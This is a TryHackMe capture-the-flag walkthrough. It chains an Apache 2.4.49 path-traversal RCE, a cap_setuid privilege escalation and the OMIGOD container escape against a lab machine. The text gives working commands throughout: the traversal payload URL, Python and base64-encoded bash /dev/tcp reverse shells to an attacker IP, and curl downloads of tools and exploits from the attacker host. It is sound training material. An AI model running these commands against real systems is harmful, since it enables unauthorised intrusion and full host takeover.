TryHackMe - Oh My WebServer CTF Walkthrough
Introduction
This machine demonstrates a complete compromise chain starting from a vulnerable web service and ending with full root access on the host system. The attack progresses through web exploitation, container privilege escalation, internal enumeration, and ultimately a container escape via a vulnerable management service.
Enumeration
To provide a structured overview of the target’s attack surface, the process began with a comprehensive scan of all network entry points.
Port Enumeration
The enumeration phase began with a full TCP scan of the target.
1
$ nmap 10.81.154.53 -p- -sT -T5 -vvv
Results
1
2
3
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
The scan revealed two open ports: 22 running SSH and 80 running HTTP.
Service Enumeration
Service version detection was then performed.
1
$ nmap 10.81.154.53 -p 22,80 -sV -T5 -vvv
Results
1
2
3
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 62 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.49 ((Unix))
The web server was identified as Apache 2.4.49. This version immediately stood out because it is affected by critical path traversal and remote code execution vulnerabilities.
RCE Exploitation
The target was running Apache HTTP Server version 2.4.49, which is vulnerable to CVE-2021-41773 and CVE-2021-42013.
A public proof-of-concept exploit is available at:
https://github.com/blackn0te/Apache-HTTP-Server-2.4.49-2.4.50-Path-Traversal-Remote-Code-Execution
After downloading the PoC, it was executed against the target:
1
$ python3 exploit.py 10.81.154.53 80 rce 'id'
The exploit successfully confirmed that the host was vulnerable and returned command execution:
1
2
3
4
5
[i] Host appears to be vulnerable.
[*] Working Payload: http://10.81.154.53:80/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh
$ id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
At this stage, remote code execution was achieved as the daemon user.
Since the initial shell was limited and not fully interactive, a reverse shell was established to gain a more stable session.
First, a listener was started on the attacking machine:
1
$ nc -lvnp 4444
Then a Python reverse shell was executed on the target:
1
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("192.168.211.0",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'
The connection was received successfully:
1
connect to [192.168.211.0] from (UNKNOWN) [10.81.154.53] 51682
After upgrading the shell to a proper TTY using Python’s pty module, the session became fully interactive:
1
daemon@4a70924bafa0:/bin$
At this point, enumeration began. The /home directory was empty, and nothing of immediate value was found in the Apache directories. The expected flag was not present in common locations.
However, while inspecting the root directory, an important detail was discovered: the presence of the .dockerenv file.
1
-rwxr-xr-x 1 root root 0 Feb 23 2022 .dockerenv
The .dockerenv file is a strong indicator that the current environment is a Docker container rather than the host system itself.
Privilege Escalation
To identify potential vectors for gaining higher-level access, the focus shifted toward automated vulnerability discovery.
LinPEAS Enumeration
To perform deeper privilege escalation checks, LinPEAS was transferred to the target machine using a simple Python HTTP server on the attacker side.
1
$ python3 -m http.server
From the target:
1
2
3
4
cd /tmp
curl http://192.168.211.0:8000/linpeas.sh -o linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
LinPEAS confirmed that we were indeed inside a Docker container.
More importantly, it revealed a critical finding:
1
/usr/bin/python3.7 = cap_setuid+ep
This meant that the Python 3.7 binary had the cap_setuid capability enabled.
Linux Capabilities Exploitation
The cap_setuid capability allows a process to change its effective user ID.
This was exploited with the following command:
1
python3.7 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Immediately, the prompt changed to root:
1
2
root@4a70924bafa0:/tmp# id
uid=0(root) gid=1(daemon) groups=1(daemon)
With root access in the container, the first flag was retrieved from /root/user.txt.
1
2
root@4a70924bafa0:/root# cat user.txt
THM{REDACTED}
Container Escape
Although we now had root privileges, we were still confined to the Docker container. The next objective was escaping to the host system.
The ss command was unavailable, so a static nmap binary was transferred to perform internal network enumeration.
1
2
curl http://192.168.211.0:8000/nmap -o nmap
chmod +x nmap
Checking the network configuration revealed the container IP address:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
root@4a70924bafa0:/root# ifconfig
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.17.0.2 netmask 255.255.0.0 broadcast 172.17.255.255
ether 02:42:ac:11:00:02 txqueuelen 0 (Ethernet)
RX packets 173194 bytes 34859079 (33.2 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 176983 bytes 72749742 (69.3 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 (Local Loopback)
RX packets 262322 bytes 11017528 (10.5 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 262322 bytes 11017528 (10.5 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
In typical Docker setups, containers are connected to a virtual bridge (docker0), and the host is reachable via the gateway address, usually 172.17.0.1.
A port scan was performed against the gateway:
1
./nmap 172.17.0.1 -p- --min-rate 5000
Results
1
2
3
4
5
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
5985/tcp closed unknown
5986/tcp open unknown
The results showed port 5986 open.
Port 5986 is commonly associated with WinRM, but since the host was Ubuntu, this strongly suggested the presence of Open Management Infrastructure.
OMIGOD Exploitation
OMI is known to be vulnerable to CVE-2021-38647, also known as OMIGOD. This vulnerability allows unauthenticated remote command execution as root.
A public exploit for CVE-2021-38647 can be found at:
https://github.com/AlteredSecurity/CVE-2021-38647/blob/main/CVE-2021-38647.py
The exploit was transferred to the container:
1
2
curl http://192.168.211.0:8000/omigod.py -o omigod.py
chmod +x omigod.py
The exploit was executed against the host and the result confirmed root execution on the host:
1
2
3
root@4a70924bafa0:/tmp# python3 omigod.py -t 172.17.0.1 -p 5986 -c id
python3 omigod.py -t 172.17.0.1 -p 5986 -c id
uid=0(root) gid=0(root) groups=0(root)
With remote root execution confirmed, the focus shifted to establishing a stable, interactive shell. To circumvent complex quoting and character escaping issues, the reverse shell payload was delivered as a Base64-encoded string.
1
root@4a70924bafa0:/tmp# python3 omigod.py -t 172.17.0.1 -p 5986 -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxMS4wLzQ0NDUgMD4mMQo= | base64 -d | bash" <TIuMTY4LjIxMS4wLzQ0NDUgMD4mMQo= | base64 -d | bash"
Upon execution, the listener caught a connection that verified full, uncontained root access to the host system:
1
root@ubuntu:/var/opt/microsoft/scx/tmp#
Verifying privileges:
1
uid=0(root) gid=0(root) groups=0(root)
Finally, the root flag was retrieved from /root/root.txt.
1
2
root@ubuntu:/root# cat root.txt
THM{REDACTED}


